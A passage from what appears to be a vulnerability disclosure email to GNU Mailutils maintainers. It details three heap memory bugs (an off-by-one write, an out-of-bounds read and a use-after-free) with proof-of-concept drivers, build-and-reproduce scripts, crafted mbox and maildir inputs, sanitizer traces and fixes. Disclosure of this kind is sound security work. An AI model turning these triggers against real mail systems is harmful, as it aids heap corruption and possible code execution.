-lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_hdr_colon_driver=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0:abort_on_error=3D0 /tmp/mu_hdr_colon_driver=
=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
=3D=3D1330378=3D=3DERROR: AddressSanitizer: heap-buffer-overflow on address=
0x60200000000f=0A=
READ of size 1 at 0x60200000000f thread T0=0A=
#0 0x4c5192 in header_parse libmailutils/mailbox/header.c:387:11 =
<- while(ISLWSP(fn_end[-1]))=0A=
#1 0x4c468e in mu_header_create libmailutils/mailbox/header.c:471:12 =
<- header_parse(header, blurb, len)=0A=
#2 main mailutils_header_leading_colon_poc.c:3=
8=0A=
0x60200000000f is located 1 bytes to the left of 6-byte region [0x602000000=
010,0x602000000016)=0A=
allocated by ... malloc ... main mailutils_header_leading_colon_poc.c:33 =
<- malloc(": x\r\n"+1)=0A=
```=0A=
=0A=
### Suggested fix=0A=
Add the `fn_end > fn` lower-bound guard to the `while` at header.c:387:=0A=
```c=0A=
fn_end =3D colon;=0A=
while (fn_end > fn && ISLWSP (fn_end[-1])) /* added fn_end > fn guard */=
=0A=
fn_end--;=0A=
```=0A=
=0A=
---=0A=
=0A=
## CVE #44: _url_path_rev_index malloc +1 (off-by-one) -> 1-byte heap NUL o=
verflow write (Medium)=0A=
=0A=
### Summary=0A=
`_url_path_rev_index()` allocates `malloc(ulen + strlen(spooldir) + 2*index=
_depth + 1)` (L137) but the bytes actually written total `ulen + strlen(spo=
oldir) + 2*index_depth + 2`, so it is 1 byte short. The trailing `strcpy(p,=
iuser)` (L151) NUL terminator writes 1 byte past the heap allocation. The =
sibling function `_url_path_index` (L108) correctly uses `+2`, proving the =
`+1` here is an off-by-one typo.=0A=
=0A=
### Root cause=0A=
File `libmailutils/url/expand.c`, function `_url_path_rev_index` (lines 127=
-153):=0A=
=0A=
```c=0A=
static char *=0A=
_url_path_rev_index (const char *spooldir, const char *iuser, int index_dep=
th)=0A=
{=0A=
const unsigned char* user =3D (const unsigned char*) iuser;=0A=
int i, ulen =3D strlen (iuser);=0A=
char *mbox, *p;=0A=
=0A=
if (ulen =3D=3D 0)=0A=
return NULL;=0A=
=0A=
mbox =3D malloc (ulen + strlen (spooldir) + 2*index_depth + 1); /* L137=
: +1, should be +2 */=0A=
strcpy (mbox, spooldir); /* strlen(spooldir) + N=
UL */=0A=
p =3D mbox + strlen (mbox);=0A=
for (i =3D 0; i < index_depth && i < ulen; i++)=0A=
{ *p++ =3D '/'; *p++ =3D transtab[ user[ulen - i - 1] ]; } /* exactly=
2*index_depth chars */=0A=
for (; i < index_depth; i++)=0A=
{ *p++ =3D '/'; *p++ =3D transtab[ user[0] ]; }=0A=
*p++ =3D '/'; /* L150: +1 */=0A=
strcpy (p, iuser); /* L151: ulen + NUL -> =
NUL writes 1 byte OOB */=0A=
return mbox;=0A=
}=0A=
=0A=
/* contrast: _url_path_index (Forward Indexing, L108) correctly uses +2 */=
=0A=
mbox =3D malloc (ulen + strlen (spooldir) + 2*index_depth + 2); /* correc=
t */=0A=
```=0A=
=0A=
Byte count: actual content =3D `strlen(spooldir) + 2*index_depth + 1(/) + u=
len + 1(NUL)` =3D `ulen + strlen(spooldir) + 2*index_depth + 2`. L137 alloc=
ates `+1` -> 1 byte short -> `strcpy` NUL writes to `mbox[size]` (1 past th=
e end). Called via `mu_url_expand_path(url)` (L203) when the url has `type=
=3Drev-index`/`user=3D`/`param=3D` field-value pairs.=0A=
=0A=
### Impact=0A=
1-byte heap NUL overflow write -- overwrites the low byte of the adjacent h=
eap chunk / malloc chunk size, corrupting heap metadata -> crash / potentia=
l RCE (classic glibc off-by-one-to-free-list-corruption). Medium severity (=
write, not read; triggers unconditionally for any non-empty user when the r=
ev-index feature is used). Reachability is config/application-driven: mailb=
ox/file URLs with `type=3Drev-index` (a documented spool-directory hashing =
feature used by some POP/IMAP local-delivery setups). A malicious IMAP/POP3=
server cannot directly inject this URL parameter, but if an application bu=
ilds a mailbox URL from untrusted input (e.g. an MDA hashing a recipient lo=
cal-part to a spool path, or accepting `mailbox://...;type=3Drev-index;user=
=3D<untrusted>`), the `user=3D` value is attacker-influenced. Even with a n=
ormal username, the overflow happens unconditionally.=0A=
=0A=
### PoC=0A=
Driver (real public API):=0A=
=0A=
```c=0A=
/* mu_url_rev_driver.c */=0A=
#include <mailutils/url.h>=0A=
int main(void) {=0A=
mu_url_t url =3D NULL;=0A=
mu_url_create(&url, "file:///spool;type=3Drev-index;user=3Dfoo;param=3D=
2");=0A=
mu_url_expand_path(url); /* heap NUL overflow write @ expand.c:151 */=
=0A=
mu_url_destroy(&url);=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
Input `.url` (mailbox URL), reconstruct as a text file:=0A=
```=0A=
file:///spool;type=3Drev-index;user=3Dfoo;param=3D2=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-44.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress,undefined -fno-omit-frame-pointer=
-g -O1" ./configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_url_rev_driver.c <<'EOF'=0A=
#include <mailutils/url.h>=0A=
int main(void) {=0A=
mu_url_t url =3D NULL;=0A=
mu_url_create(&url, "file:///spool;type=3Drev-index;user=3Dfoo;param=3D=
2");=0A=
mu_url_expand_path(url);=0A=
mu_url_destroy(&url);=0A=
return 0;=0A=
}=0A=
EOF=0A=
clang -fsanitize=3Daddress,undefined -fno-omit-frame-pointer -g -O1 \=0A=
-I include -I . -I libmailutils \=0A=
/tmp/mu_url_rev_driver.c libmailutils/.libs/libmailutils.a \=0A=
-lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_url_rev_driver=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0:abort_on_error=3D0 /tmp/mu_url_rev_driver=
=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
=3D=3D1331542=3D=3DERROR: AddressSanitizer: heap-buffer-overflow on address=
0x6020000000de=0A=
WRITE of size 4 at 0x6020000000de thread T0=0A=
#0 strcpy=0A=
#1 _url_path_rev_index libmailutils/url/expand.c:151:3 <- strcpy(p,=
"foo") NUL OOB=0A=
#2 mu_url_expand_path libmailutils/url/expand.c:203:17=0A=
#3 main mailutils_url_revindex_poc.c:36=0A=
0x6020000000de is located 0 bytes to the right of 14-byte region [0x6020000=
000d0,0x6020000000de)=0A=
allocated by ... malloc ... _url_path_rev_index expand.c:137:10 <- malloc=
(+1) 1 short=0A=
```=0A=
=0A=
### Suggested fix=0A=
Change L137 `+1` to `+2` (matching `_url_path_index` at L108):=0A=
```c=0A=
mbox =3D malloc (ulen + strlen (spooldir) + 2*index_depth + 2); /* +1 -> =
+2 */=0A=
```=0A=
=0A=
---=0A=
=0A=
## CVE #45: parse_from_line back-scan memcmp reads buf[-8] -> heap left out=
-of-bounds read (Low-Medium)=0A=
=0A=
### Summary=0A=
`parse_from_line` (mboxrd.c:373) back-scans with `for (zn=3D-1; x+zn > s &&=
x[zn] !=3D ' '; zn--)` (L389) to find the last space, then does `memcmp(x =
+ zn - suflen + 1, suf, suflen)` (L390, suf=3D`" remote from "`, suflen=3D1=
3). The L375 prefix check guarantees `s[4]=3D=3D' '` (`"From "`), so when a=
From_ line has no space between position 5 and `\n`, the back-scan retreat=
s all the way to `s[4]`, making `x+zn =3D=3D s+4`, and `memcmp(s+4-12, suf,=
13)` =3D `memcmp(s-8, suf, 13)` reads 8 bytes before the heap buffer `s`. =
There is no `x+zn-suflen+1 >=3D s` lower-bound check before the memcmp.=0A=
=0A=
### Root cause=0A=
File `libproto/mbox/mboxrd.c`, function `parse_from_line` (lines 373-391):=
=0A=
=0A=
```c=0A=
/* parse_from_line(s, &zp) */=0A=
if ((*s=3D=3D'F')&&(s[1]=3D=3D'r')&&(s[2]=3D=3D'o')&&(s[3]=3D=3D'm')&&(s[4]=
=3D=3D' ')) /* L375: guarantees s[4]=3D=3D' ' */=0A=
{=0A=
char *x =3D strchr (s, '\n');=0A=
if (x)=0A=
{=0A=
if (x - s >=3D 41)=0A=
{=0A=
static char suf[] =3D " remote from ";=0A=
#define suflen (sizeof(suf)-1) /* 13 */=0A=
for (zn =3D -1; x + zn > s && x[zn] !=3D ' '; (zn)--); /* L389=
: back-scan to space (as far as s[4]) */=0A=
if (memcmp (x + zn - suflen + 1, suf, suflen) =3D=3D 0) /* L39=
0: no x+zn-12 >=3D s check */=0A=
x +=3D zn - suflen + 1;=0A=
}=0A=
...=0A=
```=0A=
=0A=
For input `"From " + 36*'A' + "\n"` (42 bytes): x=3D`&s[41]`, `x-s=3D=3D41>=
=3D41`. L389 back-scans: x[-1]=3Ds[40]=3D'A'... all 'A', until x[zn]=3Ds[4]=
=3D' ' -> zn=3D-37, `x+zn=3D=3Ds+4`. L390 `memcmp(s+4-12, suf, 13)`=3D`memc=
mp(s-8, suf, 13)` -> reads 8 bytes before `s`. Call chain: `mu_mailbox_crea=
te_default` (mbx_default.c:463) -> `_create_mailbox` -> `mu_registrar_looku=
p_url` -> `mboxrd_is_scheme` (mboxrd.c:2059) -> `mboxrd_detect` (mboxrd.c:2=
018 reads the first line -> `parse_from_line`).=0A=
=0A=
### Impact=0A=
Heap left out-of-bounds read of 13 bytes (8 bytes before `buf` -> info leak=
of heap metadata / adjacent allocation). Low-Medium severity (read, not wr=
ite; the memcmp result only decides whether to adjust `x`; on no match x is=
unchanged). mbox file vector: `mboxrd_detect` runs on mailbox open / forma=
t auto-detection and reads the first line, so opening any mbox file whose f=
irst From_ line is `"From " + (>=3D36 non-space chars) + "\n"` triggers it.=
Reachable when a user opens a hostile .mbox, or when a malicious IMAP/POP3=
server delivers mail with a crafted From_ line that movemail appends to a =
local mbox and later rescans.=0A=
=0A=
### PoC=0A=
Driver (real mailbox framework):=0A=
=0A=
```c=0A=
/* mu_mbox_from_driver.c */=0A=
#include <mailutils/mailbox.h>=0A=
#include <mailutils/registrar.h>=0A=
#include <mailutils/mbox.h>=0A=
#include <stdio.h>=0A=
int main(int argc, char **argv) {=0A=
const char *path =3D argc > 1 ? argv[1] : "/tmp/mu_mbox_from.mbox";=0A=
mu_registrar_record(mu_mbox_record);=0A=
mu_mailbox_t mbox =3D NULL;=0A=
mu_mailbox_create_default(&mbox, path); /* -> detect -> parse_from_li=
ne -> heap left OOB read */=0A=
if (mbox) mu_mailbox_destroy(&mbox);=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
Input `.mbox` (first line `"From " + 36*'A' + "\n"` + a body line), reconst=
ruct as a text file:=0A=
```=0A=
From AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=0A=
body line=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-45.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress,undefined -fno-omit-frame-pointer=
-g -O1" ./configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_mbox_from_driver.c <<'EOF'=0A=
#include <mailutils/mailbox.h>=0A=
#include <mailutils/registrar.h>=0A=
#include <mailutils/mbox.h>=0A=
#include <stdio.h>=0A=
int main(int argc, char **argv) {=0A=
const char *path =3D argc > 1 ? argv[1] : "/tmp/mu_mbox_from.mbox";=0A=
mu_registrar_record(mu_mbox_record);=0A=
mu_mailbox_t mbox =3D NULL;=0A=
mu_mailbox_create_default(&mbox, path);=0A=
if (mbox) mu_mailbox_destroy(&mbox);=0A=
return 0;=0A=
}=0A=
EOF=0A=
# Build the hostile mbox: "From " + 36 A's + newline, then a body line.=0A=
printf 'From %s\nbody line\n' "$(printf 'A%.0s' $(seq 1 36))" > /tmp/mu_mbo=
x_from.mbox=0A=
clang -fsanitize=3Daddress,undefined -fno-omit-frame-pointer -g -O1 \=0A=
-I include -I . -I libmailutils -I libproto/mbox \=0A=
/tmp/mu_mbox_from_driver.c \=0A=
-Wl,--start-group libproto/mbox/.libs/libmu_mbox.a libmailutils/.libs=
/libmailutils.a lib/.libs/libmuaux.a -Wl,--end-group \=0A=
-lresolv -ldl -lcrypt -lm -lpthread -lgnutls -ltasn1 -lgpg-error -o /=
tmp/mu_mbox_from_driver=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0:abort_on_error=3D0 /tmp/mu_mbox_from_driver=
/tmp/mu_mbox_from.mbox=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
=3D=3D1333402=3D=3DERROR: AddressSanitizer: heap-buffer-overflow on address=
0x6060000002b8=0A=
READ of size 13 at 0x6060000002b8 thread T0=0A=
#1 memcmp=0A=
#2 parse_from_line libproto/mbox/mboxrd.c:390:12 <- memcmp(x+zn-12, =
suf, 13) reads 8B before buf=0A=
#3 mboxrd_detect libproto/mbox/mboxrd.c:2018:12 <- reads first line=
then calls parse_from_line=0A=
#4 mboxrd_is_scheme libproto/mbox/mboxrd.c:2059:14=0A=
...=0A=
#11 mu_mailbox_create_default libmailutils/mailbox/mbx_default.c:463:12=
=0A=
0x6060000002b8 is located 8 bytes to the left of 64-byte region [0x60600000=
02c0,0x606000000300)=0A=
allocated by ... realloc ... bufexpand ... mu_stream_getline ... mboxrd_det=
ect mboxrd.c:2014=0A=
```=0A=
=0A=
### Suggested fix=0A=
Add a lower-bound check before the memcmp at mboxrd.c:390, ensuring `x+zn-s=
uflen+1 >=3D s`:=0A=
```c=0A=
for (zn =3D -1; x + zn > s && x[zn] !=3D ' '; (zn)--);=0A=
if (x + zn - suflen + 1 >=3D s=0A=
&& memcmp (x + zn - suflen + 1, suf, suflen) =3D=3D 0) /* added >=3D =
s bound */=0A=
x +=3D zn - suflen + 1;=0A=
```=0A=
(Alternatively, bound the back-scan start: `x + zn > s + suflen - 1`.)=0A=
=0A=
---=0A=
=0A=
## CVE #46: amd_remove_dir drops realloc result -> use-after-free write + d=
ouble-free (Medium-High)=0A=
=0A=
### Summary=0A=
`amd_remove_dir(name)` (amd.c:2243) allocates `namebuf =3D malloc(namesize)=
`, `namesize =3D strlen(name)+128`, iterates directory entries, and grows t=
he buffer when an entry name is long: `p =3D realloc(namebuf, namesize)` (L=
2278). The result is stored in local `p` but is **never assigned back to `n=
amebuf`** (the only `namebuf =3D` assignment in the function is the initial=
malloc at L2254). When `realloc` moves the block (which growth does), `nam=
ebuf` is left dangling, and the subsequent `strcpy(namebuf + namelen, ent->=
d_name)` (L2285) writes to freed memory -- a use-after-free write. The late=
r `free(namebuf)` (L2302) double-frees the same block.=0A=
=0A=
### Root cause=0A=
File `libmailutils/base/amd.c`, function `amd_remove_dir` (lines 2243-2300)=
:=0A=
=0A=
```c=0A=
int=0A=
amd_remove_dir (const char *name)=0A=
{=0A=
DIR *dir; struct dirent *ent; char *namebuf;=0A=
size_t namelen, namesize;=0A=
namelen =3D strlen (name);=0A=
namesize =3D namelen + 128;=0A=
namebuf =3D malloc (namesize); /* L2254 */=0A=
...=0A=
while ((ent =3D readdir (dir)))=0A=
{=0A=
size_t len =3D strlen (ent->d_name);=0A=
if (namelen + len >=3D namesize)=0A=
{=0A=
char *p;=0A=
namesize +=3D len + 1;=0A=
p =3D realloc (namebuf, namesize); /* L2278 -- result dropped *=
/=0A=
if (!p) { rc =3D ENOMEM; break; }=0A=
/* missing: namebuf =3D p; */=0A=
}=0A=
strcpy (namebuf + namelen, ent->d_name); /* L2285 UAF write */=0A=
...=0A=
}=0A=
...=0A=
free (namebuf); /* L2302: double-free when realloc moved the block */=
=0A=
}=0A=
```=0A=
=0A=
Trigger condition: a directory entry whose name length `len` makes `namelen=
+len >=3D namesize` (namesize =3D namelen+128). For a short path like `/tmp=
/mu_amd_uaf_test` (namelen=3D20), `len >=3D 128` triggers it. maildir messa=
ge filenames can exceed 128 bytes, and `tmp/` holds in-delivery files -- a =
hostile/compromised maildir can craft an over-long name. The same-file corr=
ect idiom exists elsewhere (e.g. L1196 `buf =3D realloc(buf, bufsize)`), co=
nfirming L2278 is a missing `namebuf =3D p;` typo.=0A=
=0A=
### Impact=0A=
Use-after-free write (heap corruption; the attacker controls the written fi=
lename content and length via the crafted directory entry name -> potential=
arbitrary write / code execution), plus a double-free at L2302. Medium-Hig=
h severity (write, not read; more severe than the read-only issues #42/#43/=
#45). Reachability: the maildir/MH mailbox remove path -- `amd_remove_dir` =
is called by `maildir_remove` (maildir.c:2030, per `tmp/new/cur/` subdir) a=
nd `mh.c:439`, which run on `mu_mailbox_remove()` / IMAP `DELETE` of a mail=
dir/MH mailbox. Requires a maildir/MH directory containing an entry with a =
name >=3D ~127 bytes. Not a direct pre-auth network message field, but a ho=
stile/compromised maildir or a malicious MDA delivering over-long-named mes=
sage files can construct it; mailutils is still a protocol/mail implementat=
ion (IMAP/POP3/SMTP daemon + clients) and the UAF write is real heap corrup=
tion.=0A=
=0A=
### PoC=0A=
No external input file -- the trigger builds a maildir/MH-style directory c=
ontaining a >=3D127-byte-named entry, then removes it. Driver (real public =
API `amd_remove_dir` is exported from libmailutils):=0A=
=0A=
```c=0A=
/* mu_amd_uaf_driver.c */=0A=
extern int amd_remove_dir(const char *name);=0A=
#include <stdio.h>=0A=
#include <stdlib.h>=0A=
#include <string.h>=0A=
#include <sys/stat.h>=0A=
int main(void) {=0A=
const char *dir =3D "/tmp/mu_amd_uaf_test";=0A=
mkdir(dir, 0755);=0A=
/* entry name >=3D 128 bytes triggers realloc inside amd_remove_dir */=
=0A=
char longname[256];=0A=
memset(longname, 'B', 200);=0A=
longname[200] =3D 0;=0A=
char path[512];=0A=
snprintf(path, sizeof path, "%s/%s", dir, longname);=0A=
FILE *f =3D fopen(path, "w"); if (f) fclose(f);=0A=
amd_remove_dir(dir); /* realloc moves block -> namebuf dangling -> st=
rcpy UAF write */=0A=
return 0;=0A=
}=0A=
```=0A=
=0A=
### Reproduce on real upstream=0A=
```bash=0A=
#!/bin/bash=0A=
# repro-46.sh=0A=
set -e=0A=
cd /tmp=0A=
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz=0A=
tar xzf mailutils-3.21.tar.gz=0A=
cd mailutils-3.21=0A=
CC=3Dclang CFLAGS=3D"-fsanitize=3Daddress,undefined -fno-omit-frame-pointer=
-g -O1" ./configure --quiet >/dev/null=0A=
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true=0A=
cat > /tmp/mu_amd_uaf_driver.c <<'EOF'=0A=
extern int amd_remove_dir(const char *name);=0A=
#include <stdio.h>=0A=
#include <stdlib.h>=0A=
#include <string.h>=0A=
#include <sys/stat.h>=0A=
int main(void) {=0A=
const char *dir =3D "/tmp/mu_amd_uaf_test";=0A=
mkdir(dir, 0755);=0A=
char longname[256];=0A=
memset(longname, 'B', 200);=0A=
longname[200] =3D 0;=0A=
char path[512];=0A=
snprintf(path, sizeof path, "%s/%s", dir, longname);=0A=
FILE *f =3D fopen(path, "w"); if (f) fclose(f);=0A=
amd_remove_dir(dir);=0A=
return 0;=0A=
}=0A=
EOF=0A=
clang -fsanitize=3Daddress,undefined -fno-omit-frame-pointer -g -O1 \=0A=
-I include -I . -I libmailutils \=0A=
/tmp/mu_amd_uaf_driver.c \=0A=
-Wl,--start-group libmailutils/.libs/libmailutils.a lib/.libs/libmuau=
x.a -Wl,--end-group \=0A=
-lresolv -ldl -lcrypt -lm -lpthread -lgnutls -ltasn1 -lgpg-error -o /=
tmp/mu_amd_uaf_driver=0A=
rm -rf /tmp/mu_amd_uaf_test=0A=
ASAN_OPTIONS=3Ddetect_leaks=3D0:abort_on_error=3D0 /tmp/mu_amd_uaf_driver=
=0A=
```=0A=
=0A=
Expected ASAN:=0A=
```=0A=
=3D=3D1336190=3D=3DERROR: AddressSanitizer: heap-use-after-free on address =
0x60e000000055=0A=
WRITE of size 201 at 0x60e000000055 thread T0=0A=
#0 strcpy=0A=
#1 amd_remove_dir libmailutils/base/amd.c:2285:7 <- strcpy(namebuf=
+namelen, d_name) writes freed mem=0A=
#2 main mailutils_amd_removedir_uaf_poc.c:63=0A=
0x60e0000000d4 is located 0 bytes to the right of 148-byte region [0x60e000=
000040,0x60e0000000d4)=0A=
freed by thread T0 here:=0A=
#0 realloc=0A=
#1 amd_remove_dir libmailutils/base/amd.c:2278:8 <- realloc result=
dropped, old block freed=0A=
previously allocated by thread T0 here:=0A=
#0 malloc=0A=
#1 amd_remove_dir libmailutils/base/amd.c:2254:13 <- initial malloc=
(148)=0A=
```=0A=
=0A=
(The 148-byte region =3D initial `namesize =3D strlen("/tmp/mu_amd_uaf_test=
")+128 =3D 20+128 =3D 148`. realloc grows to 148+201=3D349; ASAN frees the =
old 148B block; the L2285 strcpy writes 201 bytes to the dangling `namebuf`=
-> UAF write. The later `free(namebuf)` at L2302 double-frees the same blo=
ck.)=0A=
=0A=
### Suggested fix=0A=
Assign the realloc result back to `namebuf` at amd.c:2278:=0A=
```c=0A=
p =3D realloc (namebuf, namesize);=0A=
if (!p) { rc =3D ENOMEM; break; }=0A=
namebuf =3D p; /* added: assign back, avoid dangling poi=
nter */=0A=
```=0A=
=0A=
---=0A=
=0A=
All eight issues are confirmed on real upstream GNU Mailutils 3.21 (libmail=
utils / imap4d / movemail), built with ASAN/UBSan. I am happy to provide fu=
rther details or coordinate fix timelines. Thank you for your time.=0A=
=0A=
Best regards,=0A=
zhangph <[email protected]>=0A=